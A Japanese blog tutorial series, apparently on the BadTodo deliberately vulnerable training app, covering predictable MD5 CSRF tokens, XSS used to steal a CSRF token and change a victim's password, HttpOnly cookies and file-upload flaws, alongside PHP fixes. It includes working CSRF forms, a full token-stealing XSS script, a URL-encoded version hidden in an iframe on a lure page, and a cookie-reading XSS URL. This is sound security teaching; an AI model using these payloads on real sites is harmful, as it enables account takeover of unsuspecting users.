やられアプリ BadTodo - 10.6 CSRF対策トークンの不備

前回:やられアプリ BadTodo - 10.5 CSRF(対策) - demandosigno

トークンが推測可能

BadTodoで利用されていたトークンを幾つか抜き出してみました。
c4ca4238a0b923820dcc509a6f75849b
7bd4762216e1953efd194f3868c1e8ba
449e7e9838eabd52940a36d22c654228
3df2a117736ceea78e5fa72dca9f3af2
eccbc87e4b5ce2fe28308fd9f2a7baf3
4720ebfded0bb54afcec179e57ac8ac8
fd2899aa6326f03350ffe97653fa13d9

それぞれ32桁の英数字です。MD5アルゴリズムで算出されたハッシュ値の可能性があります。試しに"c4ca4238a0b923820dcc509a6f75849b"の元の値を確認すると"1"となりました。(レインボーテーブルを使い解析するサービスなどで確認できます。MD5 Online | Free MD5 Decryption, MD5 Hash Decoder

c4ca4238a0b923820dcc509a6f75849b → 1
7bd4762216e1953efd194f3868c1e8ba →
449e7e9838eabd52940a36d22c654228 →
3df2a117736ceea78e5fa72dca9f3af2 →
eccbc87e4b5ce2fe28308fd9f2a7baf3 → 3
4720ebfded0bb54afcec179e57ac8ac8 →
fd2899aa6326f03350ffe97653fa13d9 →
2つだけ分かりました。(他の値はMD5ハッシュ値ではなく前回確認したように疑似乱数を生成するopenssl_random_pseudo_bytes()で生成されています。こちらもパラメータで16Bytes指定⇒bin2hex()することでHex32桁になっています)

このMD5ハッシュ値2つは「パスワード変更」のリクエストで使われています。

リクエスト
POST /changepwddo.php HTTP/1.1
ボディ
id=3&todotoken=eccbc87e4b5ce2fe28308fd9f2a7baf3&newpwd=test&newpwd2=test

"3"をMD5エンコードすると上記の通り"eccbc87e4b5ce2fe28308fd9f2a7baf3"でした。リクエストを行った当人のIDをハッシュ可したものをトークンとしておりログアウト・ログインし直しても同じのようです。

「パスワード変更」リクエストは「メールアドレスの変更」リクエストと異なりトークンのチェックが行われているためトークンを削除・改変するとエラーとなります。

しかし今回トークン値が推測できてしまったため、その値を使うことでリクエストが送れます。(またこのリクエストは実際にはID値は考慮されていないためトークンのみで送ってみます。csrf_password_change_token.html)

<html>
  <body>
    <form action="https://todo.example.jp/changepwddo.php" method="POST">
      <input type="hidden" name="todotoken" value="eccbc87e4b5ce2fe28308fd9f2a7baf3"/>
      <input type="hidden" name="newpwd" value="hack"/>
      <input type="hidden" name="newpwd2" value="hack"/>
      <input type="submit">
    </form>
  </body>
<html>

で試します。送信

変更されました。

ただ、実際のところは利用者が先に一度は変更直前のページchangepwd.phpを訪れてトークンをセッションにセットしていることが前提になり、そうでない場合はエラーになります。
ですのでCSRF対策トークンは通常リクエスト直前のページでセットします。

MD5⇒乱数 に修正

changepwd.php

<?php
  require_once('./common.php');
  $app->require_loggedin();       //ログインされているかチェック
  $id = $app->get_id();           //ログイン中のユーザーのIDを取得
  $reqid = $app->requested_id();  //リクエストされたIDを取得
  // $token = md5($id);              //ログイン中のユーザーIDをMD5でハッシュ化してトークンを生成
  // $app->set('token', $token);     //生成したトークンをアプリケーション内で使用できるようにセット
  ↓
  $token = $app->get_token();  // get_token()メソッドの方を使い疑似乱数で生成するように変更。

changepwddo.php

<?php
  require_once('./common.php');
  $app->require_loggedin();
  $token = filter_input(INPUT_POST, TOKENNAME);
  // if ($token !== $app->get('token')) {
  ↓
  if ($token != $app->get(TOKENNAME)) {
    error_exit('正規の画面から使用ください');
  }

確認

パスワード変更画面で生成されるトークンがMD5ハッシュではなく乱数になりました。

注:このままだと editdone.php など別のページでトークンチェックエラーとなるためそちらも修正が必要です。
または今回の修正は一旦元に戻しておいてください。

次回:やられアプリ BadTodo - 10.7 XSSによるCSRF対策の突破 - demandosigno

やられアプリ BadTodo - 10.7 XSSによるCSRF対策の突破

前回:やられアプリ BadTodo - 10.6 CSRF対策トークンの不備 - demandosigno

今回は XSS を使ってCSRF相当の攻撃を行います。(パスワードの変更)

前回確認したように、CSRF対策としてトークンのチェックが行われます。
トークンは実行ページ直前のページで生成され、セッション変数とhiddenパラメータに保存されます。そして変更操作実行時にPOSTパラメータでトークンを飛ばし、先ほどセッション変数に保存したトークンと一致しているかがチェックされます。
トークンは通常は乱数で生成されるため、悪意のある第3者には分からずCSRFが実行できません。

しかしXSSがあると、スクリプトで変更直前のページにアクセスしCSRFトークンを取得することができます。続けてそのトークンを使いリクエストを実行することでトークンによるCSRF対策をかいくぐれます。

通常のCSRF攻撃の場合(csrf_password_change.html)

罠サイトよりリクエストを送信すると、

<html>
<body>
    <form action="https://todo.example.jp/changepwddo.php" method="POST">
        <input type="hidden" name="id" value="3" />
        <input type="hidden" name="newpwd" value="hack" />
        <input type="hidden" name="newpwd2" value="hack" />
        <input type="submit">
    </form>
</body>
<html>

トークンがないためエラーとなります。

XSSを使ってトークンを取得する場合

(注:4.7 XSS 対策方法(エスケープ処理)でXSSの対策を施した場合は元に戻しておいてください)

スクリプトの一例。(今どきはfetchを使った方がよいとは思います)

<script>
  const GET_URL = "https://todo.example.jp/changepwd.php";
  const POST_URL = "https://todo.example.jp/changepwddo.php";
  const PASS = "hack";  // 変更後のパスワード
 
  function submitFormWithTokenJS(todotoken, idValue) {
      let xhr = new XMLHttpRequest();
      xhr.open("POST", POST_URL, true);
      xhr.withCredentials = true;

      // リクエストとともに適切なヘッダー情報を送信する
      xhr.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
      xhr.send("id=" + idValue + "&todotoken=" + todotoken + "&newpwd=" + PASS + "&newpwd2=" + PASS);
  }
 
  function getTokenJS() {
    let xhr = new XMLHttpRequest();
    // HTML document として返すよう指示
    xhr.responseType = "document";
    xhr.withCredentials = true;
    // ここの第3引数でtrueを指定すると呼び出しは非同期になる
    xhr.open("GET", GET_URL, true);
    xhr.onload = function (e) {
      if (xhr.readyState === XMLHttpRequest.DONE && xhr.status === 200) {
        // レスポンスからドキュメントを取得する
        let page = xhr.response;
        // 確認
        console.log("page = " + page);
        // ページ内の1番目のフォームから「todotoken」を取得する
        // let token = page.forms[0].elements['todotoken'].value;
        let token = page.querySelector("input[name='todotoken']").value;
        console.log("todotoken = " + token);
        // idを取得する(ただこのリクエストは実際のところはid無しでも通ります)
        let idValue = page.querySelector("input[name='id']").value;
        console.log("id = ", idValue);
 
        // idとトークンを使ってフォームを送信する
        submitFormWithTokenJS(token, idValue);
      }
    };
    // リクエストする
    xhr.send(null);
  }
  getTokenJS();
</script>

参考:CSRF (Cross Site Request Forgery) | HackTricks

ここから

  • コメントやlog出力、不要なスペース・改行を削除する
  • "を入れるとHTMLタグ属性値の閉じとされてしまうので'の方を使う
  • 入れ子などで"を使わざるをえない場合は &#x22を使う
  • 今回はURLのクエリパラメータとして渡すため半角スペース%20に、+%2B
    URL エンコード  |  Google Maps Platform  |  Google for Developers

などしてスクリプトを1行にまとめます。 <script>const%20GET_URL=%27https://todo.example.jp/changepwd.php%27;const%20POST_URL=%27https://todo.example.jp/changepwddo.php%27;const%20PASS=%27hack%27;function%20submitFormWithTokenJS(todotoken,idValue){let%20xhr=new%20XMLHttpRequest();xhr.open(%27POST%27,POST_URL,true);xhr.withCredentials=true;xhr.setRequestHeader(%27Content-type%27,%27application/x-www-form-urlencoded%27);xhr.send(%27id=%27%2BidValue%2B%27%26todotoken=%27%2Btodotoken%2B%27%26newpwd=%27%2BPASS%2B%27%26newpwd2=%27%2BPASS);}function%20getTokenJS(){let%20xhr=new%20XMLHttpRequest();xhr.responseType=%27document%27;xhr.withCredentials=true;xhr.open(%27GET%27,GET_URL,true);xhr.onload=function(e){if(xhr.readyState===XMLHttpRequest.DONE%26%26xhr.status===200){let%20page=xhr.response;let%20token=page.querySelector(%27input[name=&#x22todotoken&#x22]%27).value;let%20idValue=page.querySelector(%27input[name=&#x22id&#x22]%27).value;submitFormWithTokenJS(token,idValue);}};xhr.send(null);}getTokenJS();</script>

実行

XSSの脆弱性がある適当なページに仕込みます。今回はhttps://todo.example.jp/todolist.php?key="><script>今回のコード</script>で試します。(XSS5.html)

<html>
<body>
  100万円が当たったよ!<br>
  <iframe width="0" height="0" frameborder="0" src="https://todo.example.jp/todolist.php?key=%22><script>const%20GET_URL=%27https://todo.example.jp/changepwd.php%27;const%20POST_URL=%27https://todo.example.jp/changepwddo.php%27;const%20PASS=%27hack%27;function%20submitFormWithTokenJS(todotoken,idValue){let%20xhr=new%20XMLHttpRequest();xhr.open(%27POST%27,POST_URL,true);xhr.withCredentials=true;xhr.setRequestHeader(%27Content-type%27,%27application/x-www-form-urlencoded%27);xhr.send(%27id=%27%2BidValue%2B%27%26todotoken=%27%2Btodotoken%2B%27%26newpwd=%27%2BPASS%2B%27%26newpwd2=%27%2BPASS);}function%20getTokenJS(){let%20xhr=new%20XMLHttpRequest();xhr.responseType=%27document%27;xhr.withCredentials=true;xhr.open(%27GET%27,GET_URL,true);xhr.onload=function(e){if(xhr.readyState===XMLHttpRequest.DONE%26%26xhr.status===200){let%20page=xhr.response;let%20token=page.querySelector(%27input[name=&#x22todotoken&#x22]%27).value;let%20idValue=page.querySelector(%27input[name=&#x22id&#x22]%27).value;submitFormWithTokenJS(token,idValue);}};xhr.send(null);}getTokenJS();</script>"></iframe>
</body>
</html>

Todoリストにリンク(https://100万円.com/https://trap.example.org/XSS5.html)として保存し、被害者がクリックすると「100万円が当たったよ!」ページが表示されます。

この時点で指定のパスワードに変更されています。(キャッシュの都合でサイトにはすぐには反映されない場合があります。BadTodo:Nginxのキャッシュクリア

というわけで、XSSを甘く見てはいけないということでした。

その他の確認

https://trap.example.org/XSS5.htmlに隠されている<iframe>内のページ/todolist.phpを開いて確認するとスクリプトが展開されていることが分かります。

Burpも確認。
まず GET /changepwd.php して取得したデータを使い POST /changepwddo.php される。

youtu.be

余談:安全確保支援士試験(令和5年度秋)の午後「問1」にて、今回の例に似た「XSSによりトークンを取得し、セッションIDをファイルアップロードさせる」という例が出題されました。
問題冊子・配点割合・解答例・採点講評(2023年度、令和5年度) | 試験情報 | IPA 独立行政法人 情報処理推進機構

XSS+CSRF の例としてもう一つやってみましたが BadTodo - 24 適切でないアップロートファイル制限 などの話もからむため後回しでよいと思います。
24.5 色々混ぜてやってみる1(XSS - CSRF -WebShell)

次回:やられアプリ BadTodo - 11 HTTP ヘッダ・インジェクション - demandosigno

やられアプリ BadTodo - 10.5 CSRF(対策)

前回:やられアプリ BadTodo - 10.1 CSRF(クロスサイト・リクエスト・フォージェリ) - demandosigno

安全なウェブサイトの作り方 - 1.6 CSRF(根本的解決)
 処理を実行するページをPOSTメソッドでアクセスするようにし、その「hiddenパラメータ」に秘密情報が挿入されるよう、前のページを自動生成して、実行ページではその値が正しい場合のみ処理を実行する。
 ここでは具体的な例として、「入力画面 → 確認画面 → 登録処理」のようなページ遷移を取り上げて説明します。
 まず、利用者の入力内容を確認画面として出力する際、合わせて秘密情報を「hidden パラメータ」に出力するようにします。この秘密情報は、セッション管理に使用しているセッションIDを用いる方法の他、セッションIDとは別のもうひとつのID(第2セッションID)をログイン時に生成して用いる方法等が考えられます。
 生成するIDは暗号論的擬似乱数生成器を用いて、第三者に予測困難なように生成する必要があります。次に確認画面から登録処理のリクエストを受けた際は、リクエスト内容に含まれる「hiddenパラメータ」の値と、秘密情報とを比較し、一致しない場合は登録処理を行わないようにします。このような実装であれば、攻撃者が「hiddenパラメータ」に出力された秘密情報を入手できなければ、攻撃は成立しません。
 なお、このリクエストは、POSTメソッドで行うようにします。これは、GET メソッドで行った場合、外部サイトに送信されるRefererに秘密情報が含まれてしまうためです。

トークン(秘密情報)の生成

PHPには暗号論的疑似乱数生成器が複数用意されています。

BadTodoでは badapp.php にてopenssl_random_pseudo_bytes()で生成されています。

<?php
public function get_token() {
  $token = $this->get(TOKENNAME);
  if (empty($token)) {
    $token = bin2hex(openssl_random_pseudo_bytes(TOKENLEN));
    $this->set(TOKENNAME, $token);
  }
  return $token;
}

トークンのチェック

前回確認したように、BadTodo上の更新リクエストにはCSRF用対策トークンが付与されていますが、トークンのチェックが漏れているリクエストがあります。今回は前回見つかったメールアドレスの変更リクエストを例として修正します。
changemaildo.phpの先頭付近に追記。

<?php
  require_once('./common.php');
  $app->require_loggedin();
  // ▼▼ 追記ここから
  $token = filter_input(INPUT_POST, TOKENNAME);
  if ($token != $app->get(TOKENNAME)) {
    error_exit('正規の画面から使用ください');
  }
  // ▲▲ 追記ここまで
  $id = $app->get_id();

確認

罠サイトからリクエストを送信しても、(ソースは前回を参照)

チェックが入りエラーとなります。

Refererのチェック・CookieのSameSite属性

後日

次回:BadTodo - 10.6 CSRF対策トークンの不備 - demandosigno

やられアプリ BadTodo - 4.1.1 XSS 対策方法(HttpOnly属性の付与)

前回:やられアプリ BadTodo - 4.1 XSS(クロスサイト・スクリプティング) - demandosigno

前回XSSでCookieを盗みました。
Cookieの属性の1つにHttpOnlyというものがあります。XSSの緩和策として導入されました。この属性はJavaScriptからCookieの参照・更新を禁止するというものです。

PHPの場合、セッションIDにHttpOnly属性を付与するためには以下の設定を行います。
(現状はHttpOnly属性の部分にチェックマークが付いていない状態です)

/var/www/html/todo/.user.ini に1行追記

session.use_cookies=On
session.use_only_cookies=Off
session.use_trans_sid=On
session.cookie_httponly=On ← 追記

phpinfo.phpの確認(反映されるまでに少し時間がかかります)
     ↓

common.php の setcookie関数部分を修正します。

<?php
 98 function badsetcookie($key, $value, $expire = 0, $secure = false) {
 99   if (is_https() && $secure) {
100     //setcookie($key, $value, $expire, '/; samesite=none', null, true);
         ↓
        setcookie($key, $value, $expire, '/; samesite=none', '', true, true);
101   } else {
102     setcookie($key, $value, $expire, '/');
103   }
104 }

PHP: setcookie - Manual

これでHttpOnly属性が有効になります。

確認

BadTodo - 4.3 XSS(ID毎のTodo一覧画面)にて見つかったtodolist.phpidパラメータに対するXSSを試します。
https://todo.example.jp/todolist.php?id=%3Cscript%3Ealert(document.cookie)%3C/script%3E

結果、ポップアップの「内容」は空白でCookieを読み取ることができていません。

ログイン時のリクエストを確認するとSet-CookieにHttpOnly属性が付与されています。

CookieのHttpOnly属性によって「Cookieを盗み出す」という攻撃はできなくなりますが、他の攻撃(DOM操作、XMLHttpRequest)はできるためXSSによる影響を大幅に軽減することはできません。
一例:やられアプリ BadTodo - 10.7 XSSによるCSRF対策の突破 - demandosigno

元に戻す

練習に邪魔なので設定は一旦元に戻しておきましょう。

参考・補足資料

youtu.be

Cookie の HttpOnly 属性について勘違いしていたこと #JavaScript - Qiita

次回:やられアプリ BadTodo - 4.2 XSS(ログイン画面で) - demandosigno

やられアプリ BadTodo - 24 適切でないアップロートファイル制限

前回:やられアプリ BadTodo - 23 evalインジェクション - demandosigno

CWE - CWE-434: Unrestricted Upload of File with Dangerous Type (4.15)

Todoリストにはファイルをアップロードする機能があります。

これを使いPHPファイルなどをアップロードしようとすると「この拡張子のファイルはアップロードできません」と出ます。

ぱっと見アップロードできていないように見えますが、

BadTodo - 19 ディレクトリ・リスティングで確認できたアップロード先/attachmentを見てみるとアップロードされており閲覧できてしまいます。
(サーバーのキャッシュにより表示が更新されない場合がありますが少し時間を空けてみてください。参考:BadTodo - 28 キャッシュからの情報漏洩

このままだとウイルスファイルやWebShell・バックドアなどの悪意のあるファイルをアップロードされる可能性があります。

多重拡張子

ファイル名を「xxx.php.jpg」などとしてアップロードするとエラー無くアップロードできてしまいます。

Apacheの多重拡張子にご用心 | 徳丸浩の日記
Apacheの多重拡張子は脆弱性ではなく仕様ですので、できればアプリケーション側で対処した方がよいと私は考えます。

補足:確認の際にNginxのキャッシュによりディレクトリ表示が更新されない場合がありますので、その場合は下記を参考にキャッシュクリアしてください。
BadTodo - Nginxのキャッシュの削除

blog.flatt.tech

次回:やられアプリ BadTodo - 24.5 色々混ぜてやってみる1(XSS - CSRF -WebShell) - demandosigno

/* -----codeの行番号----- */